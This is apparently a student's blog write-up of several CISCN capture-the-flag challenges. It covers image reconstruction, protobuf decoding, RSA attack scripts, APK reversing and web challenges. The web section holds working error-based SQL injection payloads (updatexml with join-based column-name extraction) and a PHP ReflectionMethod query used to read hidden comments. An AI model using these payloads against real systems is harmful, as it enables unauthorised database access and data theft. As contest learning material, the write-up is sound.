第十四届全国大学生信息安全竞赛部分wp

2023-11-12


前言

第一次参加国赛,更让我清楚意识到自己是fw,做出几道题记录一下,期待自己的进步成长


MISC-Robot

下载得到在这里插入图片描述

结合题目是机器,要求是找字符,百度一下rspag后缀名打开文件,看样子是要找坐标了 正好给了流量包wireshark打开追踪tcp流量,找坐标关键字眼,找的话有点麻烦直接搜pos看到关键内容在这里插入图片描述

这里采用正则表达式直接提取出来正则yyds
python re库也支持,方便还是用在线资源

这里用贪婪匹配原则 用到.*?] 即匹配到第一个括号就算完成正则为
/RAPID/T_ROB1/Module1/tgPos.*?]

在这里插入图片描述

然后就是python 字符处理了得到关键坐标就行(记事本处理也很nice)
得到这种形式在这里插入图片描述

然后就用python 画图工具matplotlib.pyplot当然PIL也行怎么好用用哪个 具体用法百度就知这里不再先说

补充用PIL写法

如果还没有装的话,有两个办法

  • 直接pip install pillow 然后就可以 from PIL import Image了
  • 如果在pycharm 里面 直接在软件库里装最好用了在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
然后下面有个install 等待装完就ok了
然后就是使用 直接看脚本吧 用起来特别方便
这里我们得到的是 坐标 直接 描点脚本如下
就是这里的Image.new(‘RGB’,size)还有其他方式RGB可以换成

1(1位像素,黑色和白色,存储一个像素每字节)
L(8位像素,黑色和白色)
P(8位像素,映射到任何其他模式使用调色板)
RGB (3x8位像素,真色)

前提是你已经得到这样字符坐标(这里是部分举例)

27,36
28,35
29,35
31,35
32,35
33,35
35,35
36,35
37,35
39,34
40,34
41,33
42,32
43,32
45,32
from PIL import Image
width,height=(300,200)
image= Image.new('RGB',(400,200))#创建一个RGB 长400宽200de图像层

file= open('tu.txt','r')
s=file.readline()
while(s):
    x=s.split(',')[0]#字符串分割获取第一个行x坐标
    y=s.split(',')[1]#字符串分割获取第一个行y坐标
    image.putpixel((int(x),int(y)),(255,255,255))#画图

    s=file.readline()
image.show()#展示图片

得到
在这里插入图片描述

方法二脚本

import matplotlib.pyplot as plt
x=['27', '28', '29', '31', '32', '33', '35', '36', '37', '39', '40', '41', '42', '43', '45', '47', '48', '49', '49', '50', '50', '51', '51', '51', '52', '52', '52', '52', '52', '52', '51', '50', '49', '48', '47', '46', '45', '44', '43', '42', '40', '39', '37', '35', '34', '32', '30', '28', '27', '26', '25', '24', '23', '22', '21', '20', '19', '18', '18', '18', '18', '18', '18', '18', '18', '18', '18', '18', '18', '19', '21', '21', '22', '24', '24', '26', '27', '28', '29', '30', '31', '33', '34', '35', '36', '37', '38', '39', '40', '41', '44', '46', '48', '50', '52', '53', '54', '55', '56', '58', '59', '61', '62', '64', '65', '67', '68', '70', '71', '71', '125', '125', '124', '123', '121', '118', '115', '113', '112', '111', '109', '106', '104', '103', '102', '101', '100', '99', '98', '97', '96', '95', '94', '93', '92', '91', '89', '87', '85', '85', '84', '83', '82', '82', '81', '81', '80', '80', '80', '80', '79', '79', '79', '79', '79', '79', '79', '79', '79', '80', '81', '82', '84', '87', '88', '90', '91', '93', '94', '97', '100', '101', '102', '103', '105', '106', '108', '109', '110', '111', '112', '112', '113', '114', '115', '115', '116', '117', '118', '118', '117', '116', '115', '115', '114', '114', '114', '114', '114', '114', '114', '114', '114', '115', '116', '117', '118', '120', '122', '124', '126', '128', '131', '133', '136', '138', '141', '143', '145', '147', '149', '150', '152', '153', '155', '156', '157', '157', '212', '212', '213', '211', '210', '209', '208', '207', '206', '205', '204', '201', '200', '199', '197', '196', '195', '193', '191', '189', '188', '187', '186', '185', '183', '183', '183', '182', '182', '182', '182', '182', '182', '182', '183', '184', '186', '187', '188', '189', '190', '192', '194', '196', '198', '199', '200', '201', '202', '203', '204', '207', '207', '208', '208', '208', '208', '208', '208', '208', '207', '207', '206', '204', '203', '202', '201', '201', '200', '199', '198', '197', '196', '195', '193', '192', '190', '189', '187', '185', '184', '183', '181', '180', '179', '178', '177', '175', '174', '173', '173', '243', '243', '244', '244', '244', '245', '245', '247', '247', '248', '248', '249', '250', '251', '251', '252', '254', '256', '258', '260', '262', '263', '265', '266', '267', '268', '271', '272', '273', '274', '275', '275', '274', '274', '272', '271', '271', '268', '266', '266', '265', '263', '262', '262', '261', '260', '259', '258', '258', '257', '255', '254', '253', '253', '252', '251', '250', '249', '248', '247', '246', '245', '244', '244', '298', '298', '299', '300', '302', '304', '306', '308', '309', '312', '315', '317', '319', '322', '325', '327', '330', '332', '334', '335', '335', '20', '20', '20', '20', '20', '20', '20', '19', '18', '17', '17', '17', '17', '17', '17', '17', '17', '17', '17', '17', '17', '17', '17', '18', '18', '19', '20', '20', '21', '21', '22', '23', '24', '25', '26', '27', '28', '29', '31', '32', '32', '34', '35', '37', '38', '40', '41', '43', '44', '46', '48', '49', '50', '51', '52', '52', '80', '80', '79', '78', '77', '77', '77', '76', '75', '74', '73', '73', '73', '72', '72', '72', '72', '72', '72', '72', '72', '72', '73', '74', '77', '78', '80', '81', '82', '83', '84', '85', '87', '89', '90', '92', '93', '95', '97', '98', '99', '100', '101', '102', '102', '104', '104', '105', '105', '105', '105', '105', '105', '104', '103', '102', '101', '98', '96', '95', '93', '92', '90', '89', '86', '86', '147', '147', '146', '145', '144', '143', '142', '142', '142', '142', '142', '141', '140', '139', '138', '138', '137', '135', '134', '133', '131', '131', '131', '130', '129', '128', '128', '127', '127', '126', '127', '129', '130', '132', '134', '137', '138', '139', '140', '143', '144', '145', '146', '147', '149', '149', '150', '151', '152', '152', '153', '153', '153', '153', '153', '153', '152', '151', '150', '149', '147', '147', '186', '186', '183', '182', '182', '182', '181', '179', '179', '179', '178', '177', '177', '177', '177', '177', '177', '177', '178', '179', '180', '181', '182', '184', '186', '187', '188', '190', '191', '192', '194', '196', '197', '197', '198', '200', '200', '201', '201', '201', '201', '201', '201', '201', '201', '201', '201', '200', '199', '198', '197', '196', '195', '193', '192', '190', '189', '189', '223', '223', '224', '226', '228', '229', '232', '233', '234', '235', '237', '238', '240', '241', '243', '244', '246', '247', '250', '251', '252', '253', '254', '254', '269', '271', '273', '275', '276', '278', '280', '282', '284', '285', '288', '289', '291', '293', '294', '296', '297', '298', '299', '299', '300', '299', '297', '296', '294', '294', '293', '293', '292', '291', '290', '288', '288', '287', '286', '285', '284', '283', '282', '281', '280', '279', '279', '327', '328', '330', '332', '333', '335', '337', '339', '341', '342', '345', '347', '348', '350', '351', '352', '355', '356', '356', '351', '350', '348', '347', '346', '343', '341', '339', '336', '333', '330', '327', '325', '323', '322', '319', '317', '316', '314', '313', '313']

y=['36', '35', '35', '35', '35', '35', '35', '35', '35', '34', '34', '33', '32', '32', '32', '31', '29', '28', '27', '26', '25', '23', '22', '21', '20', '19', '18', '17', '16', '15', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '14', '15', '16', '17', '19', '21', '22', '23', '24', '26', '27', '28', '30', '32', '33', '34', '37', '39', '40', '42', '44', '45', '47', '48', '49', '50', '51', '52', '53', '53', '54', '54', '54', '54', '54', '54', '54', '54', '54', '54', '54', '53', '53', '52', '52', '52', '51', '50', '49', '49', '47', '47', '46', '46', '45', '44', '44', '23', '23', '22', '22', '21', '20', '19', '19', '18', '18', '17', '16', '16', '16', '15', '15', '15', '15', '15', '15', '15', '15', '15', '15', '15', '15', '15', '17', '18', '19', '21', '21', '22', '23', '24', '26', '28', '29', '31', '32', '34', '35', '37', '39', '41', '43', '44', '46', '47', '48', '49', '50', '50', '51', '51', '51', '51', '51', '51', '51', '50', '49', '49', '48', '46', '45', '43', '42', '41', '39', '38', '36', '34', '33', '32', '31', '30', '28', '27', '28', '30', '32', '34', '36', '39', '41', '43', '45', '47', '48', '50', '52', '53', '54', '55', '56', '57', '57', '57', '57', '57', '57', '57', '57', '57', '57', '57', '56', '55', '53', '52', '52', '50', '49', '47', '46', '45', '45', '24', '24', '23', '21', '20', '19', '18', '17', '16', '15', '15', '14', '14', '14', '14', '14', '14', '14', '14', '16', '16', '16', '17', '17', '18', '20', '21', '22', '23', '24', '25', '26', '27', '29', '31', '32', '33', '34', '34', '35', '35', '36', '37', '37', '38', '38', '38', '38', '39', '39', '40', '41', '42', '43', '44', '45', '46', '48', '50', '51', '53', '54', '56', '58', '60', '61', '62', '63', '64', '64', '64', '65', '65', '65', '65', '65', '65', '65', '65', '65', '65', '65', '64', '63', '63', '62', '62', '61', '60', '59', '59', '20', '20', '19', '21', '25', '26', '29', '32', '34', '36', '37', '39', '40', '42', '43', '44', '44', '44', '44', '42', '41', '40', '38', '35', '32', '30', '27', '25', '22', '21', '20', '19', '18', '20', '22', '23', '26', '29', '33', '35', '37', '40', '42', '44', '47', '49', '51', '55', '56', '58', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '73', '64', '64', '65', '65', '65', '65', '65', '65', '65', '65', '65', '65', '65', '65', '65', '65', '65', '65', '66', '66', '66', '103', '104', '107', '110', '112', '114', '118', '121', '124', '126', '130', '134', '137', '139', '142', '143', '146', '147', '149', '150', '149', '148', '146', '145', '143', '142', '141', '140', '138', '137', '135', '134', '132', '131', '129', '128', '127', '126', '125', '124', '123', '121', '120', '120', '119', '118', '118', '117', '116', '115', '115', '114', '113', '113', '112', '112', '121', '121', '120', '121', '122', '123', '124', '127', '128', '129', '131', '132', '133', '135', '136', '137', '138', '139', '140', '142', '144', '145', '148', '149', '150', '150', '151', '151', '151', '151', '151', '151', '151', '151', '151', '150', '150', '149', '147', '146', '146', '145', '144', '142', '141', '139', '138', '136', '135', '133', '132', '131', '129', '128', '126', '126', '125', '123', '123', '123', '123', '122', '121', '121', '120', '120', '98', '98', '99', '100', '103', '104', '105', '106', '109', '111', '114', '118', '120', '123', '127', '129', '133', '135', '137', '139', '142', '143', '145', '146', '149', '152', '153', '156', '157', '158', '157', '157', '156', '156', '155', '153', '152', '151', '150', '149', '148', '147', '146', '145', '144', '143', '142', '141', '140', '139', '138', '137', '136', '135', '134', '133', '132', '131', '131', '130', '129', '129', '136', '136', '137', '138', '139', '140', '142', '144', '145', '147', '149', '150', '151', '152', '154', '156', '157', '158', '160', '161', '162', '163', '164', '164', '164', '164', '164', '163', '162', '162', '160', '159', '158', '156', '155', '153', '152', '150', '149', '148', '147', '145', '144', '142', '141', '139', '138', '136', '135', '135', '135', '135', '135', '135', '135', '135', '135', '135', '167', '167', '167', '167', '167', '167', '167', '167', '167', '167', '167', '167', '167', '167', '167', '167', '167', '167', '168', '168', '168', '168', '168', '168', '135', '136', '138', '140', '141', '143', '145', '147', '149', '150', '152', '153', '154', '156', '157', '159', '160', '161', '162', '162', '136', '136', '137', '138', '141', '142', '144', '145', '148', '149', '151', '153', '155', '156', '157', '159', '160', '161', '162', '163', '164', '165', '165', '142', '143', '145', '148', '149', '151', '154', '156', '158', '159', '160', '161', '162', '164', '165', '166', '168', '169', '169', '143', '143', '144', '144', '145', '148', '150', '152', '155', '158', '159', '162', '165', '167', '168', '170', '171', '171', '172', '172', '172']

x1=[]
y1=[]
for i in x:
    x1.append(float(i))
for j in y:
    y1.append(float(j))


print(x1)
print(y1)
fig = plt.figure()
ax = fig.add_subplot(111)
ax.scatter(x1, y1,5)



plt.show()

效果如图在这里插入图片描述
水平 竖直对称后得到flag

misc running_pixel

先用GifSplitter.exe这个分离软件分离 得到382张图片接着就是观察这图片规律

最后发现384这张图片有一个特别的地方,当时也看到了但是没多想,可恶。在这里插入图片描述
题目是流动的像素那么 可以图片含有这些像素的给提取出来,说不定就能绘制成东西脚本如下

因为一个像素嘛,所以采取纯黑白来看图像,参考末初师傅的脚本画图得

from PIL import Image

flag_img = Image.new('1',(400,400))
#mode=1 1位黑白像素,每字节存储一个像素
for name in range(1,383):
    image= Image.open('IMG00'+str(name).zfill(3)+'.bmp')
    image = image.convert("RGB")#python PIL将RGB图像转换为纯黑白imag
    width,height = image.size
    for w in range(width):
        for h in range(height):
            if framepic.getpixel((w,h)) == (233,233,233):
                flag_img.putpixel((h,w),1)#原本用(w,h)发现是反的
   

    flag_img.save('./flag/'+str(name)+'.png')

然后得到图片就是漫长的整理 flag
在这里插入图片描述
一帧一帧整理出的字母

Misc tiny traffic

这道题先导出http包发现有好多东西
在这里插入图片描述
用file命令查看 那个flag_wrapper文件发现是由压缩文件解压得
在这里插入图片描述
在这里插入图片描述
没什么软用继续找下去 然后就不会了 后续更
后来才知道secret和text 文件是 br文件 还是接触的少了 直接解压得到
其中test 里面内容是这个

syntax = "proto3";

message PBResponse {
  int32 code = 1;
  int64 flag_part_convert_to_hex_plz = 2;
  message data {
    string junk_data = 2;
    string flag_part = 1;
  }
  repeated data dataList = 3;
  int32 flag_part_plz_convert_to_hex = 4;
  string flag_last_part = 5;
}

message PBRequest {
  string cate_id = 1;
  int32 page = 2;
  int32 pageSize = 3;
}

百度查阅知道那个secret 文件是 text 序列化后 然后百度找工具反序列话得到flag

隔空传话

当时没下附件 有附件更

密码学RSA

一打开题目发现是综合性rsa题目 分为三种

  • e=3 低加密指数攻击
  • 共模攻击
  • 已知p高位攻击

太常见了不分析了直接贴脚本

  1. e=3 低加密指数攻击
import gmpy2
from Crypto.Util.number import *
#file=open('flag.txt','a')

c1= 19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893
e1=3
n1=123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009

i=0
while 1:
    m,b= gmpy2.iroot(c1+i*n1,3)
    if b:
        print(long_to_bytes(m))
        break
    i+=1

  1. 共模攻击
from gmpy2 import invert
def gongmogongji(n, c1, c2, e1, e2):
    def egcd(a, b):
        if b == 0:
            return a, 0
        else:
            x, y = egcd(b, a % b)
            return y, x - (a // b) * y
    s = egcd(e1, e2)
    s1 = s[0]
    s2 = s[1]

    if s1 < 0:
        s1 = - s1
        c1 = invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = invert(c2, n)
    m = pow(c1, s1, n) * pow(c2, s2, n) % n
    return m

n1=111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977
e1=17
e2=65537
message1=54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610
message2=message2=91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950

m=gongmogongji(n1,message1,message2,e1,e2)
print(hex(m)[2:].decode('hex'))

  1. 已知p高位攻击p>>200 移位200 已知高位求p上sage脚本
p4 = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902
n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147L



pbits = 512


kbits = pbits - p4.nbits()
print (p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))

f = x + p4
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
print ("x:" ,hex(int(x0)))
p = p4+x0
print ("p: ", hex(int(p)))
assert n % p == 0
q = n/int(p)
print ("q: ", hex(int(q)))

我用的在线sage环境得到 在这里插入图片描述

  1. 然后就是正常的rsa
from Crypto.Util.number import *
import gmpy2
file=open('flag.txt','a')
c3=59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646
e3=65537
n3=113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147L
p_=7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902
p=0xda5f14bacd97f5504f39eeef22af37e8551700296843e536760cea761d334508003e01b886c0c69b4365759fb42a3faaf0c8888106bb9dbb1137769a37d191a7
q=n3//p
phn=(p-1)*(q-1)
d=gmpy2.invert(e3,phn)
print(long_to_bytes(pow(c3,int(d),n3)))

  1. 综合起来deiflag字符串解就完了
import hashlib
#assert md5.new(text).hexdigest() == flag[6:-1]
text=''' 
O wild West Wind, thou breath of Autumn's being,
Thou, from whose unseen presence the leaves dead
Are driven, like ghosts from an enchanter fleeing,
Yellow, and black, and pale, and hectic red,
Pestilence-stricken multitudes: O thou,
Who chariotest to their dark wintry bed
'''
import hashlib         #导入hashlib模块

md = hashlib.md5()     #获取一个md5加密算法对象
md.update(text.encode('utf-8'))
print(md.hexdigest())

web1

老注入题了

  1. 首先题目是简单的sql注入题目
    常规试一下1’ 有明显的回显信息

还出现了) 那么思路有了闭合括号 用报错注入解
查列名 :

admin’) or updatexml(0x2e,concat(0x2e,(select table_name from
information_schema.tables where table_schema=database())),0x2e)#

发现 结果出现了no 经过排查 是过滤了infromation_schema库
而infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息。
经百度查阅发现了一个注入中在mysql默认情况下就可以替代information_schema库的方法。利用join进行无列名注入,。
2. 之前先试了一波猜表名:
3.

试了一次就成了还有 常见的 f1ag,fllllag等等
那么就好做了 直接一条龙

1’) or updatexml(0x2e,concat(0x2e,(select * from(select * from flag as
a join flag b)c)),0x2e)#

得到字段 为id

1’) or updatexml(0x2e,concat(0x2e,(select * from(select * from flag as
a join flag b using(id))c)),0x2e)#

获取第一列的列名

1’) or updatexml(0x2e,concat(0x2e,(select * from(select * from flag as
a join flag b using(id))c)),0x2e)#

获取次列及后续列名

1’) or updatexml(0x2e,concat(0x2e,(select * from(select * from flag as
a join flag b using(id,no))c)),0x2e)#

获取次列及后续列名

1’) or updatexml(0x2e,concat(0x2e,(select
540e9e3b-e0e6-4435-803a-c53b13d38fe4 from flag)),0x2e)#

得到值540e9e3b-e0e6-4435-803a-c53b13d38fe4

1’) or updatexml(0x2e,concat(0x2e,(select
540e9e3b-e0e6-4435-803a-c53b13d38fe4 from flag)),0x2e)#

得到flag 大部分

利用substring 或 left right 得到全部flag

1’) or updatexml(0x2e,concat(0x2e,substring((select
540e9e3b-e0e6-4435-803a-c53b13d38fe4 from flag),10,30)),0x2e)#

参考博客

Re1

点击下载发现是apk文件,apk文件与.net程序大致类似,没有加密,可以直接反编译得到源代码。使用工具:ApkIDE

将程序反编译输出后,找到这个程序的java源代码
MainActivity.java。
可以发现有这么关键的一句:

if(mainactivity.checkFlag(mainactivity.txt.getText().toString()))

通过分析可以得到该语句调用了native层的一个校验函数,并查看native层函数用ida打开so文件
发现这个两个函数是具有rc4加密特征在这里插入图片描述
而下一个函数是简单的异或操作 写相关函数得到c2RuaXNjc2RuaXNjYWJjZA

再就是RC4加密算法,最终解密解得答案
6654d84617f627c88846c172e0f4d46c

web2

这个是原题,

没啥思路先扫一手

得到了 index.php.swo 备份文件 之前一直写swp 试了好久,得到了猜测 flag 是藏在类的注释中,我们能够实例化任意类,并调用类方法,那么就可以利用 PHP 内置类中的 ReflectionMethod 来读取 User 类里面各个函数的注释

构造的pylaod为
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
因为不知道是在哪个函数的注释中,所以逐个函数暴破,暴破 rb 的值a-z
最终在q中发现flag

还有很多题目学会了会补上

总结

通过题目证明自己学的还是远远不够的忙完比赛就回归学习了 ctf先告一段落,不过还是会坚持下去的,向着游泳健将进攻

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

第十四届全国大学生信息安全竞赛部分wp 的相关文章

  • 浅析:Spring框架中IOC容器和Bean的配置

    一 IOC和DI的解释 1 IOC Inversion of Control 反转控制 在应用程序中的组件需要获取资源时 传统的方式是组件主动的从容器中获取所需要的资源 在这样的模式下开发人员往往需要知道在具体容器中特定资源的获取方式 增加
  • 深度学习在情感分类中的应用

    简介与背景 情感分类及其作用 情感分类是情感分析的重要组成部分 情感分类是针对文本的情感倾向进行极性分类 分类数量可以是二分类 积极或消极 也可以是多分类 按情感表达的不同程度 情感分析在影音评论 商品评价 舆情分析 股民基金情感分析等都有
  • csgo显示服务器ip,CSGO所有服务器IP段/地理位置

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 SDR服务器IP段 atl addresses 162 254 199 170 27015 27050 162 254 199 171 27015 27050 ams addresses 155
  • 【构建ML驱动的应用程序】第 7 章 :使用分类器编写推荐

    大家好 我是Sonhhxg 柒 希望你看完之后 能对你有所帮助 不足请指正 共同学习交流 个人主页 Sonhhxg 柒的博客 CSDN博客 欢迎各位 点赞 收藏 留言 系列专栏 机器学习 ML 自然语言处理 NLP 深度学习 DL fore
  • 【C++/STL】手撕红黑树

    文章目录 1 红黑树的概念 1 1红黑树的性质和规则 2 红黑树的模拟实现 2 1节点的定义 2 2节点的插入 1 情况一 u存在且为红色 2 情况二 u不存在 u存在且为黑 并且g p cur为一条直线 3 情况三 u不存在 u存在且为黑
  • Ansible基础3——playbook

    文章目录 一 基本了解 二 编写playbook 2 1 单剧本 2 2 多剧本 2 3 特权升级 2 4 语法优化 三 模块查找 一 基本了解 为什么要写playbook 前面我们可以使用临时命令对受控机进行操作 但当有重复性的工作时就不
  • 自定义带参数二维码扫码进入微信小程序获取参数

    第一步 需要进入小程序后台 开发设置里 添加二维码规则 第二步 添加好扫码进入的规则 比如扫码进去小程序的指定页面 1 协议类型选择https 2 选择小写 3 二维码规则 这个看文档有些人估计会比较迷糊 简单理解一下就是一个https的路
  • 后台@RequestBody接收对象List属性为null

    后台 RequestBody接收对象List属性为null 前端把一个本应传String类型的属性 传成了List数组 会导致后面的所有List属性都会变成null
  • C语言扫雷解析

    目录 扫雷功能说明 游戏界面 游戏分析设计 数据结构的分析 文件结构设计 扫雷游戏代码的实现 game h game c 初始化数组 打印棋盘 布置雷 统计周围雷的个数 排查结果判定 test c 扫雷功能说明 使用控制台实现经典的扫雷游戏
  • php模块化供前端ajax调用的实现

    背景 没有使用php框架 由于临时需求 需要ajax调用php中的方法 简单的写了一个php文件 文件定义了两个方法 如何用ajax分别调用同一个php文件不同的方法 以下是abc php文件 我定义的两个方法a方法和b方法
  • 发现了uroport工具的一个bug,还不知道如何解决

    点击条件属性下的 配置条件 进行配置的 让一个属性等于0的时候控制样式 预览 保存一切正常 等到下次打开这个文件的时候 表示等于的双等号 变成了undefined 如下图 这时候点保存 或者预览 都也点不了 但是不耽误使用 也可以一个一个将
  • Springboot2整合阿里云OSS实现文件上传、下载、删除、查看

    1 阿里云配置 https jingyan baidu com article ea24bc3973db059a63b3316d html 2 pom文件
  • qml基础学习 模型视图(一)

    文章目录 一 理解qml模型和视图 二 效果展示 三 源码分析 1 GridView增删 2 列表 3 卡牌效果 四 相关文章 一 理解qml模型和视图 qt的发展是迅速的 虽然在每一个release版本中或多或少都有bug 但是作为一个庞
  • 组合数学-鸽巢原理

    中国剩余定理证明笔记
  • 传播正能量——做一个快乐的程序员

    引子 今天在博客园看到施瓦小辛格的文章我们搞开发的为什么会感觉到累 顿时有感而发 自己本来不擅长写文章 更不擅长写这种非技术性的文章 但是在思绪喷薄之际 还是止不住有很多话要说 针对从客观上说 搞开发的很累 这种说法 我也来发表一下我的看法
  • Nginx转发,swagger误将upstream作为base url

    在用Nginx转发请求到sprint boot上游服务的时候 有一个配置项 如果处理不好 会导致在swagger里面无法访问API 下面来看一下实例 实例来自VMWare 开源项目Singleton https github com vmw
  • Spring源码学习笔记

    一 Spring启动容器刷新12步 二 Spring循环引用流程图 三 SpringAop执行流程 四 Spring事务的个人理解 Spring事务的使用非常简单 只需要在需要开启事务的方法上加 Transactional rollback
  • 【机器学习实战-14章】利用SVD简化数据

    奇异值分解 Singular Value Decomposition SVD 是提取信息的强大工具 14 1 SVD的应用 优点 简化数据 去除噪声 提高算法的结果 缺点 数据的转换可能难以理解 14 1 1 隐性语义索引 最早的SVD应用
  • python 气泡图练习

    导入了matplotlib pyplot和seaborn模块 以及gapminder数据集 它从gapminder数据集中选择了2007年的数据 并创建了一个散点图 其中x轴表示人均GDP y轴表示预期寿命 气泡的大小表示人口规模 图例被关

随机推荐

  • BurpSuite之Intruder模块学习篇

    BurpSuite介绍 BurpSuite介绍 Intruder模块 该模块重要用于完成对Web应用程序自动化攻击 也就是我们经常说的爆破 下面我们以爆破DVWA靶机的暴力破解页面来介绍该模块的一个个版块 进行演示之前我们先进去把登录密码给
  • c++ 关键字constexpr的使用

    一 想要正确使用constexpr关键字 需要知道编译时常量和运行时常量 1 编译时常量 编译时已知的常量 编译器知道其确切的值 字符串常量 如 123 hello world 等 以常量表达式初始化的const变量 如 const x 2
  • Redis 缓存回收的7种策略volatile设置过期时间及allkeys所有数据范围内

    1 基础说明 当redis设置内存使用限制后 当达到内存限制时 Redis将尝试删除key 控制节点的最大使用内存 redis conf中配置项maxmemory
  • 威马汽车:跃马扬鞭未竟,鞍马劳顿难行?

    活下去 像牲口一样地活下去 威马汽车创始人 董事长兼CEO沈晖1月在社交媒体上分享的电影台词 已然成为威马近况的真实写照 来源 新浪微博 威马汽车沈晖Freeman 最近 网上出现了大量关于 威马汽车将实施全员停薪留职 的消息 还有网友发布
  • 将 Matlab 启动文件夹指定为 userpath

    将 Matlab 启动文件夹指定为 userpath 在使用 Matlab 进行编程时 我们可能需要在程序启动时打开一个特定的文件夹 而不是默认的文件夹 这篇文章将介绍如何将 Matlab 的启动文件夹指定为 userpath 首先 让我们
  • C语言编写基于mysql数据库的简单数据管理系统

    系统环境 Ubuntu 14 04 安装mysql数据库 sudo apt get install mysql server mysql client 安装mysql开发包SDK sudo apt get install libmysqlc
  • MySQL必知必会 学习笔记 第二十三章 使用存储过程

    MySQL 5中增加了存储过程的支持 一个操作需要多条SQL语句才能完成时 可以创建存储过程 其中保存一条或多条SQL语句 使用存储过程的理由 1 通过把处理封装在容易使用的单元中 简化复杂的操作 2 所有人都使用同一存储过程代替某复杂操作
  • 剑指 Offer 22. 链表中倒数第k个节点

    简单说两句 CSDN个人主页 后端小知识 GZH 后端小知识 欢迎关注 点赞 收藏 留言 题目 剑指 Offer 22 链表中倒数第k个节点 我们今天来看一道easy的题目吧 这是选自剑指Offer上的一道题 好了 我们一起来看看题意吧 考
  • 前端那些事儿-winter前端公开课

    前端那些事儿 winter前端公开课 黑白棋练习 文末附源码 关于面试和前端职业发展方向 关于面试的问题 前端面试内容 vue nodejs 闭包 面试基于简历 简历写的都是真实的 再向外拓展 面试的东西 如果不知道 尽量把相关的 知道的东
  • 微信小程序:封装上传图片组件

    特点 支持拍照和本地选择 可以限制最多上传几个 支持删除 实时同步选择个数 并在达到限制是隐藏上传入口 自适应布局 自动换行 先看效果 上面0 4是我没及时更新最新图片 其实是自动计算的 使用方式 简单粗暴直接放在外层
  • CUDA cusolverDn<t>gesvd()函数认知

    函数说明 cusolverDn
  • Laravel学习笔记(五)数据库 数据库迁移案例2——创建数据结构,数据表,修改数据结构...

    来自 http www cnblogs com huangbx p Laravel 5 html 默认假设 所有的列在定义的时候都有默认的假设 你可以根据需要重写 Laravel假定每个表都有一个数值型的主键 通常命名为 id 确保新加入的
  • CSS 几种常用的水平垂直居中方式

    水平垂直居中方式 方式一
  • DVWA之low级别SQL Injection

    输入1 返回正常 输入1 and 1 2 返回空 输入1 or 1234 1234 说明存在字符型注入 然后猜解字段数 输入1 order by 1 返回正常 输入1 order by 2 返回正常 输入1 order by 3 报错 说明
  • 面试中的Spring,我们该怎么去回答

    面试中的Spring 我们该怎么去回答 在企业的实际的应用里面 大部分的企业架构都是基于Spring框架的 它的成功来自于他的理念而不是技术 最为核心的理念是IOC和AOP 接下来我们就来讲讲这个Spring吧 Spring的历史 Spir
  • Vision Transformer原理及模型学习笔记

    Vision Transformer是一种加入了self attention的Sequence to Sequence model 它包括特征提取和分类两部分 在特征提取部分 VIT所作的工作就是特征提取 特征提取部分在图片中的对应区域是P
  • VPN部署场景——IPSec VPN—点到点VPN(1)

    目录 接口模式 一 组网需求 二 网络拓扑 三 配置要点 四 配置步骤 五 检查配置结果 策略模式 一 组网需求 二 网络拓扑 三 配置要点 四 配置步骤 五 检查配置结果 六 注意事项 接口模式 一 组网需求 如图所示 通过VPN将2个局
  • 从键盘获取不同变量:需要使用Scanner类

    具体操作 1 导包 import java util Scanner 2 Scanner的实体化 3 调用S 注意 需要根据相应方法 来输入指定类型的值 如果输入值与要求不匹配 会报异常InputMismatchException 导致程序
  • 如果想要长久

    如果想要长久 应该是因为还是放不下 还有因为对它还有一份爱 还有一份用心在里面 所以 愿一切都未完待续
  • 第十四届全国大学生信息安全竞赛部分wp

    第十四届全国大学生信息安全竞赛部分wp 前言 MISC Robot 补充用PIL写法 misc running pixel Misc tiny traffic 隔空传话 密码学RSA web1 Re1 web2 总结 前言 第一次参加国赛